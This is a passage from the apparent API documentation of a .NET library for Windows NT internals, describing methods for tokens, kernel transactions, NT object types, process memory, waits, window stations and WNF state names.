an empty string if not an AppContainer. + + + + + Get token's device groups + + + + + Get token's restricted device groups. + + + + + Get list of privileges for token + + The list of privileges + Thrown if can't query privileges + + + + Get full path to token + + + + + Get the token's trust level. Will be null if no trust level present. + + + + + Returns true if this is a pseudo token. + + + + + Get whether this token is a sandboxed token. + + + + + Query the token's full package name. + + + + + Query the token's appid. + + + + + Get the list of policies for this App. + + + + + Get the list of policies for this App in a table. + + + + + Get the BaseNamedObjects isolation prefix if enabled. + + + + + Get the token's package identity. + + + + + Get or set the token audit policy. + + Needs SeSecurityPrivilege to query and SeTcbPrivilege to set. + + + + Get or set if token is in a private namespace. + + + + + Get if the token is restricted. + + + + + Get the TSA://ProcUnique attribute. + + + + + Enable debug privilege for the current process token. + + True if set the debug privilege + + + + Enable a privilege of the effective token. + + The privilege to enable. + True if set the privilege. + + + + Open the process token of another process + + The process to open the token for + The desired access for the token + Attribute flags for the handle. + If true then throw an exception on error. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + The desired access for the token + Attribute flags for the handle. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + The desired access for the token + If true then throw an exception on error. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + The desired access for the token + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + True to duplicate the token before returning + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + True to duplicate the token before returning + The desired access for the token + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + True to duplicate the token before returning + The desired access for the token + True to throw on error. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + The opened token + Thrown if cannot open token + + + + Open the process token of the current process + + The opened token + Thrown if cannot open token + + + + Open the process token of the current process + + True to duplicate the token before returning + The opened token + Thrown if cannot open token + + + + Open the process token of the current process + + True to duplicate the token before returning + The desired access for the token + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The id of the process to open the token for + True to duplicate the token before returning + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The id of the process to open the token for + True to duplicate the token before returning + The desired access for the token + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The id of the process to open the token for + True to duplicate the token before returning + The desired access for the token + True to throw on error. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The id of the process to open the token for + The opened token + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + Open the token as the current identify rather than the impersonated one + The desired access for the token + If true then throw an exception on error. + The opened token result + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + Open the token as the current identify rather than the impersonated one + True to duplicate the token before returning. + The desired access for the token + True to throw on error. + The opened token, if no token return null + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + Open the token as the current identify rather than the impersonated one + True to duplicate the token before returning + The desired access for the token + The opened token, if no token return null + Thrown if cannot open token + + + + Open the thread token + + The ID of the thread to open the token for + Open the token as the current identify rather than the impersonated one + True to duplicate the token before returning + The desired access for the token + The opened token, if no token return null + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + Open the token as the current identify rather than the impersonated one + True to duplicate the token before returning + The opened token, if no token return null + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + The opened token, if no token return null + Thrown if cannot open token + + + + Open the current thread token + + True to duplicate the token before returning + The opened token, if no token return null + Thrown if cannot open token + + + + Open the current thread token + + The opened token, if no token return null + Thrown if cannot open token + + + + Open the effective token, thread if available or process + + The thread to open the token for + True to duplicate the token before returning + Desired access for token. + Open token as self. + True to throw on error. + The opened token + Thrown if cannot open token + + + + Open the effective token, thread if available or process + + The thread to open the token for + True to duplicate the token before returning + Desired access for token. + Open token as self. + The opened token + Thrown if cannot open token + + + + Open the effective token, thread if available or process + + The thread to open the token for + True to duplicate the token before returning + True to throw on error. + The opened token + Thrown if cannot open token + + + + Open the effective token, thread if available or process + + The thread to open the token for + True to duplicate the token before returning + The opened token + Thrown if cannot open token + + + + Open the current effective token, thread if available or process + + The opened token + Thrown if cannot open token + + + + Open the current effective token, thread if available or process + + True to throw on error. + The opened token + Thrown if cannot open token + + + + Create a token. Needs SeCreateTokenPrivilege. + + The desired access for the token. + Object attributes, used to pass SecurityDescriptor or SQOS for impersonation token. + The type of token. + The authentication ID for the token. + The expiration time for the token. + The user for the token. + The groups for the token. + The privileges for the token. + The owner of the token. + The primary group for the token. + The default dacl for the token. + The source for the token. + Optional device attributes. + Optional device groups. + Optional mandatory policy. + Optional user attributes. + True to throw on error. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The desired access for the token. + Object attributes, used to pass SecurityDescriptor or SQOS for impersonation token. + The type of token. + The authentication ID for the token. + The expiration time for the token. + The user for the token. + The groups for the token. + The privileges for the token. + The owner of the token. + The primary group for the token. + The default dacl for the token. + The source for the token. + Optional device attributes. + Optional device groups. + Optional mandatory policy. + Optional user attributes. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The desired access for the token. + Object attributes, used to pass SecurityDescriptor or SQOS for impersonation token. + The type of token. + The authentication ID for the token. + The expiration time for the token. + The user for the token. + The groups for the token. + The privileges for the token. + The owner of the token. + The primary group for the token. + The default dacl for the token. + The source for the token. + True to throw on error. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The desired access for the token. + Object attributes, used to pass SecurityDescriptor or SQOS for impersonation token. + The type of token. + The authentication ID for the token. + The expiration time for the token. + The user for the token. + The groups for the token. + The privileges for the token. + The owner of the token. + The primary group for the token. + The default dacl for the token. + The source for the token. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The user for the token. + The groups for the token. + The privileges for the token. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The user for the token. + The token object. + + + + Impersonate another process' token + + The impersonation level + Process ID of the other process + An impersonation context, dispose to revert to process token + + + + Get the current user. + + True to throw on error. + The current user. + + + + Do a single privilege check on the effective token. + + The privilege to check. + True to throw on error. + True if the privilege is enabled. + + + + Do a single privilege check on the effective token. + + The privilege to check. + True if the privilege is enabled. + + + + Get the current user. + + + + + Get authentication ID for LOCAL SYSTEM + + + + + Get authentication ID for LOCAL SERVICE + + + + + Get authentication ID for NETWORK SERVICE + + + + + Get authentication ID for ANONYMOUS + + + + + Get a pseudo handle to the primary token. + + Only useful for querying information. + + + + Get a pseudo handle to the impersonation token. + + Only useful for querying information. + + + + Get a pseudo handle to the effective token. + + Only useful for querying information. + + + + Static methods to interact with the ETW subsystem. + + + + + Issue a trace control request. + + The trace control function code. + The optional input buffer. + The optional output buffer. + True to throw on error. + The output length. + + + + Issue a trace control request. + + The trace control function code. + The optional input buffer. + The optional output buffer. + The output length. + + + + Access rights for Trace + + + + + The security trace provider GUID. + + + + + The default security GUID. + + + + + Class to represent a kernel transaction. + + + + + Create a transaction + + The object attributes + Desired access for the handle + True to throw an exception on error. + Transaction creation options. + Optional description of the transaction. + Isolation flags. + Isolation level. + Optional transaction timeout. + Optional transaction manager. + Optional UOW. + The NT status code and object result. + + + + Create a transaction + + The object attributes + Desired access for the handle + Transaction creation options. + Optional description of the transaction. + Isolation flags. + Isolation level. + Optional transaction timeout. + Optional transaction manager. + Optional UOW. + The NT status code and object result. + + + + Create a transaction + + The object attributes + Desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Create a transaction + + The object attributes + Desired access for the handle + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + Desired access for the handle + Transaction creation options. + Optional description of the transaction. + Isolation flags. + Isolation level. + Optional transaction timeout. + Optional transaction manager. + Optional UOW. + True to throw an exception on error. + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + Desired access for the handle + Transaction creation options. + Optional description of the transaction. + Isolation flags. + Isolation level. + Optional transaction timeout. + Optional transaction manager. + Optional UOW. + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + Desired access for the handle + True to throw an exception on error. + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + Desired access for the handle + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + The opened transaction + + + + Create a transaction + + The path of the transaction + The opened transaction + + + + Create a transaction + + The opened transaction + + + + Open a transaction object. + + The object attributes for the object + The desired access for the object + Optional transaction manager. + UOW Guid. + True to throw an exception on error. + The NT status code and object result. + + + + Open a transaction object. + + The object attributes for the object + The desired access for the object + Optional transaction manager. + UOW Guid. + The object result. + + + + Open a transaction object. + + The desired access for the object + Optional transaction manager. + UOW Guid. + The object result. + + + + Open a transaction object. + + Optional transaction manager. + UOW Guid. + The object result. + + + + Open a transaction object. + + UOW Guid. + The object result. + + + + Get a list of all accessible transaction objects. + + The object attributes for the object + Optional transaction manager. + The access for the transaction objects. + The list of all accessible transaction objects. + + + + Get a list of all accessible transaction objects. + + The access for the transaction objects. + The list of all accessible transaction objects. + + + + Get a list of all accessible transaction objects. + + The list of all accessible transaction objects. + + + + Get the current thread's transaction. + + + + + Commit the transaction + + Wait for transaction to commit. + True to throw an exception on error. + The NT status code. + + + + Commit the transaction + + Wait for transaction to commit. + + + + Commit the transaction + + + + + Rollback the transaction + + Wait for transaction to rollback. + True to throw an exception on error. + The NT status code. + + + + Rollback the transaction + + Wait for transaction to rollback. + + + + Rollback the transaction + + + + + Enable the transaction for anything in the current thread context. + + The transaction context. This should be disposed to disable the transaction. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get the ID of the transaction. + + + + + Get the Unit of Work ID of the transaction. Same as transaction ID. + + + + + Get the state of the transaction. + + + + + Get the outcome of the transaction. + + + + + Get or set the transaction description. + + + + + Get or set the transaction isolation level. + + + + + Get or set the transaction isolation flags. + + + + + Get or set transaction timeout. + + + + + Query list of enlistments for this transaction. + + + + + Query the superior enlistment for this transaction. + + + + + Class to represent a kernel transaction manager. + + + + + Create a new transaction manager object. + + The object attributes + Desired access for the handle + True to throw an exception on error. + The CLFS log file to create if not volatile. + Creation options flags. + Commit strength, set to 0. + The NT status code and object result. + + + + Create a new transaction manager object. + + The object attributes + Desired access for the handle + The CLFS log file to create if not volatile. + Creation options flags. + Commit strength, set to 0. + The object result. + + + + Create a new transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + The CLFS log file to create if not volatile. + Creation options flags. + True to throw an exception on error. + The object result. + + + + Create a new transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + The CLFS log file to create if not volatile. + Creation options flags. + The object result. + + + + Create a new volatile transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + The object result. + + + + Create a new volatile transaction manager object. + + The path to the transaction manager. + The root if path is relative. + The object result. + + + + Create a new volatile transaction manager object. + + The path to the transaction manager. + The object result. + + + + Create a new volatile transaction manager object. + + The object result. + + + + Open a existing transaction manager object. + + The object attributes + Desired access for the handle + The CLFS log file to create if not volatile. + Identity of the transaction manager. + Open options flags. + True to throw an exception on error. + The NT status code and object result. + + + + Open a existing transaction manager object. + + The object attributes + Desired access for the handle + Identity of the transaction manager. + The CLFS log file to create if not volatile. + Open options flags. + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + Identity of the transaction manager. + The CLFS log file to create if not volatile. + Open options flags. + True to throw an exception on error. + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + Identity of the transaction manager. + The CLFS log file to create if not volatile. + Open options flags. + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The root if path is relative. + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The object result. + + + + Rename transaction manager object. The new identity can be queried with the Identity property on the object. + + The path to the transaction log file. + The existing transaction manager identity. + True to throw an exception on error. + The NT status code + + + + Get a list of all accessible transaction manager objects. + + Object attributes for opened handle. + The access for the transaction manager objects. + Open options. + The list of all accessible transaction manager objects. + + + + Get a list of all accessible transaction manager objects. + + The access for the transaction manager objects. + The list of all accessible transaction manager objects. + + + + Get a list of all accessible transaction manager objects. + + The list of all accessible transaction manager objects. + + + + Get the Transaction Manager identity. + + + + + Get the Transaction Manager virtual clock. + + + + + Get the Transaction Manager log identity. + + + + + Get the Transaction Manager log path. + + + + + Get Transaction Manager last recovered Log Sequence Number. + + + + + Get whether the transaction manager is volatile. + + + + + Rename transaction manager object. The new identity can be queried with the Identity property on the object. + + True to throw an exception on error. + The NT status code + + + + Rename transaction manager object. The new identity can be queried with the Identity property on the object. + + + + + Recover the transaction manager. + + True to throw an exception on error. + The NT status code + + + + Recover the transaction manager. + + + + + Rollforward the transaction manager. + + Optional virtual block value to rollforward to. + True to throw an exception on error. + The NT status code + + + + Rollforward the transaction manager. + + True to throw an exception on error. + The NT status code + + + + Rollforward the transaction manager. + + Optional virtual block value to rollforward to. + + + + Rollforward the transaction manager. + + + + + Create a resource manager for this transaction manager. + + The resource manager GUID to assign. + Creation options. + True to throw on error. + The resource manager and NT status. + + + + Create a resource manager for this transaction manager. + + The resource manager GUID to assign. + Creation options. + The resource manager . + + + + Create a resource manager for this transaction manager. + + The resource manager GUID to assign. + The resource manager. + + + + Create a volatile resource manager for this transaction manager with a auto-generated GUID. + + The resource manager. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get a list of all accessible transaction objects owned by this transaction manager. + + The access for the transaction objects. + The list of all accessible transaction objects. + + + + Get a list of all accessible transaction objects owned by this transaction manager. + + The list of all accessible transaction objects. + + + + Get a list of all accessible resource manager objects owned by this transaction manager. + + Object attributes for opened handle. + The access for the resource manager objects. + The list of all accessible resource manager objects. + + + + Get a list of all accessible resource manager objects owned by this transaction manager. + + The access for the resource manager objects. + The list of all accessible resource manager objects. + + + + Get a list of all accessible resource manager objects owned by this transaction manager. + + The list of all accessible resource manager objects. + + + + General utilities for the kernel transaction manager. + + + + + Enumerate transaction objects of a specific type from a root handle. + + The root handle to enumearate from. + The type of object to query. + The list of enumerated transaction object GUIDs. + + + + Enumerate all transaction objects of a specific type. + + The type of object to query. + The list of enumerated transaction object GUIDs. + + + + Freeze all transactions. Needs SeRestorePrivilege. + + The freeze wait timeout. + The thaw wait timeout. + Throw exception on error. + The NT status code. + + + + Freeze all transactions. Needs SeRestorePrivilege. + + The freeze wait timeout. + The thaw wait timeout. + + + + Thaw transactions. Needs SeRestorePrivilege. + + Throw exception on error. + The NT status code. + + + + Thaw transactions. Needs SeRestorePrivilege. + + The NT status code. + + + + Class representing an NT object type + + + + + The name of the type + + + + + The mapping from generic to specific object rights + + + + + The valid access mask + + + + + True if the object needs security even if unnamed + + + + + Total number of objects (when originally retrieved) + + + + + Total number of handles (when originally retrieved) + + + + + Total paged pool usage (when originally retrieved) + + + + + Total non-paged pool usage (when originally retrieved) + + + + + Total name pool usage (when originally retrieved) + + + + + Total handle table usage (when originally retrieved) + + + + + Maximum number of objects (when originally retrieved) + + + + + Maximum number of handles (when originally retrieved) + + + + + Maximum paged pool usage (when originally retrieved) + + + + + Maximum non-paged pool usage (when originally retrieved) + + + + + Maximum name pool usage (when originally retrieved) + + + + + Maximum handle table usage (when originally retrieved) + + + + + The attributes flags which are invalid + + + + + Indicates whether handle count is mainted + + + + + Indicates the type list maintained + + + + + Indicates the type of pool used in allocations + + + + + Current paged pool usage + + + + + Current non-pages pool usage + + + + + Type Index + + + + + Generic Read Access rights + + + + + Generic Read Access rights + + + + + Generic Read Access rights + + + + + Generic Read Access rights + + + + + Get the maximum access mask for the type's default mandatory access policy. + + + + + Get implemented object type for this NT type. + + + + + Get the access rights enumerated type for this NT type. + + + + + Get the access rights enumerated type for this NT type if it's a container. + + There's only one known type at the moment which uses this, File. + + + + Can this type of open be opened by name + + + + + Get the valid access rights for this Type. + + + + + Get the valid read access rights for this Type. + + + + + Get the valid write access rights for this Type. + + + + + Get the valid execute access rights for this Type. + + + + + Get the valid all access rights for this Type. + + + + + Get the valid mandatory access rights for this Type. + + + + + Get defined query information classes for a type. + + + + + Get defined set information classes for a type. + + + + + Open this NT type by name (if CanOpen is true) + + The object attributes to open. + Desired access when opening. + True to throw an exception on error. + The NT status code and object result. + + + + Open this NT type by name (if CanOpen is true) + + The name of the object to open. + The root object for opening, if name is relative + Desired access when opening. + The created object. + Thrown on error + + + + Open this NT type by name (if CanOpen is true) + + The name of the object to open. + The root object for opening, if name is relative + The created object. + Thrown on error + + + + Open this NT type by name (if CanOpen is true) + + The name of the object to open. + The created object. + Thrown on error + + + + Get object from an existing handle. + + The existing handle. + The new object. + + + + Get object from an existing handle. + + The existing handle. + True to own the handle. + The new object. + + + + Get object from an existing handle. + + The existing handle. + The call doesn't own the handle. The returned object can't be used to close the handle. + The new object. + + + + Convert an enumerable access rights to a string + + True to use the container access type. + The granted access mask. + True to try and convert to generic rights where possible. + Set to true to use SDK style names. + The string format of the access rights + + + + Convert an enumerable access rights to a string + + True to use the container access type. + The granted access mask. + True to try and convert to generic rights where possible. + The string format of the access rights + + + + Convert an enumerable access rights to a string + + The granted access mask. + True to try and convert to generic rights where possible. + The string format of the access rights + + + + Convert an enumerable access rights to a string + + The granted access mask. + The string format of the access rights + + + + Checks if an access mask represents a read permission on this type + + The access mask to check + True if it has read permissions + + + + Checks if an access mask represents a write permission on this type + + The access mask to check + True if it has write permissions + + + + Checks if an access mask represents a execute permission on this type + + The access mask to check + True if it has execute permissions + + + + Checks if an access mask represents a full permission on this type + + The access mask to check + True if it has full permissions + + + + Map generic access rights to specific access rights for this type + + The access mask to map + The mapped access mask + + + + Unmap specific access rights to generic access rights for this type + + The access mask to unmap + The unmapped access mask + + + + Checks if an access mask is valid for access of this object type. + + The access mask to check + True if it valid access + + + + Get the maximum access mask for the type's default mandatory access policy. + + The allowed access mask for the type with the default policy. + + + + Overridden ToString method. + + Returns the type as a string. + + + + Create an NtType object by name. + + The name of the NT type. + This will always return a cached type. + Invalid NT type name. + + + + Get a type object by index + + The index + The object type, null if not found + + + + Get a type object by index + + The index, must be >= 0. + True to get a cached type, false to return a live types. + The object type, null if not found + + + + Get a type object by name + + The name of the type + True to create a fake type if needed. + True to get a cached type, false to return a live types. + The object type, null if not found + + + + Get a type object by name + + The name of the type + True to create a fake type if needed. + The object type, null if not found + + + + Get a type object by name + + The name of the type + The object type, null if not found + + + + Get a type object by a kernel handle. + + The kernel handle. + True to create a fake type if needed. + The object type, null if not found + + + + Get an NT type based on the implemented .NET type. + + A type derived from NtObject + True to get a cached type, false to return a live types. + The NtType represented by this .NET type. Note if a type is represented with multiple + names only return the first one we find. + Thrown if there exists no .NET type which maps to this type. + + + + Get an NT type based on the implemented .NET type. + + A type derived from NtObject + The NtType represented by this .NET type. Note if a type is represented with multiple + names only return the first one we find. + Thrown if there exists no .NET type which maps to this type. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_MAPPING for security checking. + The access rights enumeration type. + The access rights enumeration type of the object is a container. + The mandatory label policy. + The fake NT type object. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_MAPPING for security checking. + The access rights enumeration type. + The access rights enumeration type of the object is a container. + The fake NT type object. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_MAPPING for security checking. + The access rights enumeration type. + The fake NT type object. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_READ for security checking. + The GENERIC_WRITE for security checking. + The GENERIC_EXECUTE for security checking. + The GENERIC_ALL for security checking. + The access rights enumeration type. + The access rights enumeration type of the object is a container. + The fake NT type object. + + + + Get a fake type object. This can be used in access checking for operations which need an NtType object + but there's no real NT object. + + The name of the fake type. Informational only. + The GENERIC_READ for security checking. + The GENERIC_WRITE for security checking. + The GENERIC_EXECUTE for security checking. + The GENERIC_ALL for security checking. + The access rights enumeration type. + The fake NT type object. + + + + Get a list of all types. + + The list of types. + + + + Get a list of all types. + + True to get the cached list of types, false to return a live list of all types. + True to include fake types such as WNF or Service + The list of types. + + + + Get a list of all types. + + True to get the cached list of types, false to return a live list of all types. + The list of types. + + + + Get the NT type from a path. + + The object manager path. + Optional root object. + The NT type. Returns null if not available or unknown. + + + + Converted user process parameters. + + + + + Static class to access virtual memory functions of NT. + + + + + Query section name, + + The process to query from. + The base address to query. + True to throw on error + The result of the query. + + + + Query section name, + + The process to query from. + The base address to query. + The result of the query. + + + + Query memory information for a process. + + The process to query. + The base address. + True to throw on error. + The memory information for the region. + Thrown on error. + + + + Query memory information for a process. + + The process to query. + The base address. + The memory information for the region. + Thrown on error. + + + + Query all memory information regions in process memory. + + The list of memory regions. + Thrown on error. + + + + Query a list of mapped files in a process. + + The process to query. + The list of mapped images + Thrown on error. + + + + Read memory from a process. + + The process to read from. + The base address in the process. + The length to read. + The array of bytes read from the location. + If a read is short then returns fewer bytes than requested. + Thrown on error. + + + + Write memory to a process. + + The process to write to. + The base address in the process. + The data to write. + The number of bytes written to the location + Thrown on error. + + + + Read structured memory from a process. + + The process to read from. + The base address in the process. + The read structure. + Thrown on error. + Type of structure to read. + + + + Write structured memory to a process. + + The process to write to. + The base address in the process. + The data to write. + Thrown on error. + Type of structure to write. + + + + Read structured memory array from a process. + + The process to read from. + The base address in the process. + The number of elements in the array to read. + The read structure. + Thrown on error. + Type of structure to read. + + + + Write structured memory array to a process. + + The process to write to. + The base address in the process. + The data array to write. + Thrown on error. + Type of structure to write. + + + + Allocate virtual memory in a process. + + The process to allocate in. + Optional base address, if 0 will automatically select a base. + The region size to allocate. + The type of allocation. + The allocation protection. + True to throw on error. + The address of the allocated region. + Thrown on error. + + + + Allocate virtual memory in a process. + + The process to allocate in. + Optional base address, if 0 will automatically select a base. + The region size to allocate. + The type of allocation. + The allocation protection. + The address of the allocated region. + Thrown on error. + + + + Free virtual emmory in a process. + + The process to free in. + Base address of region to free + The size of the region. + The type to free. + Thrown on error. + + + + Free virtual emmory in a process. + + The process to free in. + Base address of region to free + The size of the region. + The type to free. + True to throw on error. + Thrown on error. + + + + Change protection on a region of memory. + + The process to change memory protection + The base address + The size of the memory region. + The new protection type. + The old protection for the region. + Thrown on error. + + + + Change protection on a region of memory. + + The process to change memory protection + The base address + The size of the memory region. + The new protection type. + True to throw on error. + The old protection for the region. + Thrown on error. + + + + Query working set information for an address in a process. + + The process to query. + The base address to query. + True to throw on error + The working set information. + Thrown on error. + + + + Query working set information for an address in a process. + + The process to query. + The base address to query. + The working set information. + Thrown on error. + + + + Query image information for an address in a process. + + The process to query. + The base address to query. + True to throw on error + The image information. + Thrown on error. + + + + Query image information for an address in a process. + + The process to query. + The base address to query. + The image information. + Thrown on error. + + + + Determine if two addresses are the same mapped file. + + The first address. + The second address. + True to throw on error. + True if the mapped memory is the same file. + + + + Determine if two addresses are the same mapped file. + + The first address. + The second address. + True if the mapped memory is the same file. + + + + Flush instruction cache. + + The process to flush the cache in. + The address to flush. + The number of bytes to flush/ + True to throw on error. + The NT status code. + + + + Flush instruction cache. + + The process to flush the cache in. + The address to flush. + The number of bytes to flush/ + + + + Native Wait methods. + + + + + Wait on a single object to become signaled + + The object to wait on + Whether the thread should be alertable + The timeout to wait for + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + + + + Wait on multiple objects to become signaled + + The objects to wait on + Whether the thread should be alerable + True to wait for all objects to be signaled + The timeout to wait for + The success status of the wait, such as STATUS_WAIT_OBJECT_0 or STATUS_TIMEOUT + + + + Signal an object then wait for another to become signaled. + + The object to signal + The object to wait on. + Whether the thread should be alertable + The timeout to wait for + The success status of the wait, such as STATUS_SUCCESS or STATUS_TIMEOUT + + + + A .NET wait handle to use for interop. + + + + + Create a .NET wait handle from an object. + + The object to create the wait handle on + + + + Wait asynchronously for the handle to be signaled. + + Timeout in milliseconds. + Cancellation token for wait. + A task to wait on. If result is true then event was signaled. + + + + Wait asynchronously for the handle to be signaled. + + Timeout in milliseconds. + A task to wait on. If result is true then event was signaled. + + + + Wait asynchronously for the handle to be signaled. + Will wait an infinite time. + + A task to wait on. + + + + Class to represent an NT timeout + + + + + Get a timeout which will wait indefinitely. + + + + + Get a relative timeout in seconds. + + The number of seconds to wait. + An instance of the timeout class. + + + + Get a relative timeout in milliseconds. + + The number of milliseconds to wait. + An instance of the timeout class. + + + + Get an absolute time out from system start. + + The absolute time to wait until. + An instance of the timeout class. + + + + Get a relative time out from the current time. + + The relative time to wait in units of 100ns. + An instance of the timeout class. + + + + Create an absolute wait timeout from a datetime. + + The time for the timeout to complete. + An instance of the timeout class. + + + + The timeout as a long. + + + + + Overridden ToString method. + + The timeout as a string. + + + + Well-known IO Control codes. + + + + + Convert a control code to a known name. + + The control code. + The known name, or an empty string. + + + + Get a list of known control codes. + + The list of known control codes. + + + + Get a list of known control codes. + + The control code. + Thrown if can't find name. + + + + Structure to represent a Window. + + + + + The Window Handle. + + + + + Get Process ID for the Window. + + + + + Get the Thread ID for the Window. + + + + + Get the real owner Process ID of the Window. + + + + + Get the class name for the Window. + + + + + Send a message to the Window, Unicode. + + The message to send. + The WPARAM. + The LPARAM. + The send result. + + + + Send a message to the Window, ANSI. + + The message to send. + The WPARAM. + The LPARAM. + The send result. + + + + Post a message to the Window, Unicode. + + The message to send. + The WPARAM. + The LPARAM. + True to throw on error. + The send result. + + + + Post a message to the Window, Unicode. + + The message to send. + The WPARAM. + The LPARAM. + The send result. + + + + Send a message to the Window, ANSI. + + The message to send. + The WPARAM. + The LPARAM. + True to throw on error. + The send result. + + + + Send a message to the Window, ANSI. + + The message to send. + The WPARAM. + The LPARAM. + The send result. + + + + Constructor. + + Window handle. + + + + Constructor. + + Window handle. + + + + Get the NULL window handle. + + + + + Get the desktop window. + + + + + Get the broadcast window. + + + + + Get all Top Level windows. + + + + + Enumerate window handles. + + Desktop containing the Windows. Optional. + The parent Window. Optional. + True to enumerate child Windows. + Hide immersive Windows. + The thread ID that owns the Window. + True to throw on error. + The enumerated Window Handles. + + + + Enumerate window handles. + + Desktop containing the Windows. Optional. + The parent Window. Optional. + True to enumerate child Windows. + Hide immersive Windows. + The thread ID that owns the Window. + The enumerated Window Handles. + + + + Class which represents a window station object. + + + + + Open a window station by name. + + The object attributes for opening. + Desired access. + True to throw on error. + The instance of the window station + Thrown on error. + + + + Open a window station by name. + + The object attributes for opening. + Desired access. + The instance of the window station + Thrown on error. + + + + Open a window station by name. + + The name of the window station + Optional root object + The instance of the window station + Thrown on error. + + + + Open a window station by name. + + + The instance of the window station + Thrown on error. + + + + Create a Window Station by name. + + Object attributes for the Window Station. + Desired access for the Window Station. + Path to Keyboard DLL e.g. kbusa.dll. + Locale ID, e.g. 0x4090409. + Language ID e.g. 0x409. + True to throw on error. + The Window Station. + + + + Create a Window Station by name. + + Object attributes for the Window Station. + Desired access for the Window Station. + Path to Keyboard DLL e.g. kbusa.dll. + Locale ID, e.g. 0x4090409. + Language ID e.g. 0x409. + The Window Station. + + + + Create a Window Station by name. + + The name of the Window Station. + The Window Station. + + + + Get a list of desktops for this Window Station. + + + + + Enumerate name of Window Stations in current session. + + + + + Get a list of accessible Window Station objects. + + The desired access for the Window Stations. + The list of desktops. + + + + Get a list of accessible Window Station objects. + + The list of desktops. + + + + Get a list of accessible desktop objects. + + The desired access for the desktops. + The list of desktops. + + + + Get a list of accessible desktop objects. + + The list of desktops. + + + + Close the Window Stations. This is different from normal Close as it destroys the Window Station. + + True to throw on error. + The NT status. + + + + Set the Window Station for the Process. + + True to throw on error. + The NT status. + + + + Open the current process Window Station. + + True to throw on error. + The instance of the window station + The returned object is no owned by the caller. + Thrown on error. + + + + Open the current process Window Station. + + + + + Get the Window Station directory for a session. + + The session ID. + The path to the Window Station directory. + + + + Get the Window Station directory for the current session. + + The path to the Window Station directory. + + + + NT WNF object. + + + + + Get the generic mapping for a + + + + + Fake NT type name for WNF. + + + + + Create a new WNF state name. + + The lifetime of the name. + The scope of the data. + Whether to persist data. + Optional type ID. + Maximum state size. + Mandatory security descriptor. + True to throw on error. + The created object. + + + + Kernel derived key which is used to mask the state name. + + + + + Create a new WNF state name. + + The lifetime of the name. + The scope of the data. + Whether to persist data. + Optional type ID. + Maximum state size. + Mandatory security descriptor. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The statename to open. + True to check state name exists. + True to throw on error. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The statename to open. + True to check state name exists. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The statename to open. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The name to open. + True to check state name exists. + The created object. + + + + Open a state name. Doesn't check if it exists. + + The name to open. + The created object. + + + + Get registered notifications. + + The list of registered notifications. + + + + Get the state name for this WNF entry. + + + + + The state name decoded. + + + + + Get the associated lifetime for the state name. + + + + + Version of the WNF state name. + + + + + Data scope of WNF state name. + + + + + Is WNF state name persistent. + + + + + Unique identifier of WNF state name, + + + + + Get if the state has subscribers. + + + + + Get the security descriptor for this object, if known. + + + + + Get a name for the WNF notification. + + + + + Query state data for the WNF object. + + Optional Type ID. + Optional explicit scope. + True to throw on error. + The state data. + + + + Query state data for the WNF object. + + Optional Type ID. + Optional explicit scope. + The state data. + + + + Query state data for the WNF object. + + The state data. + + + + Update state data for the WNF object. + + The data to set. + Optional Type 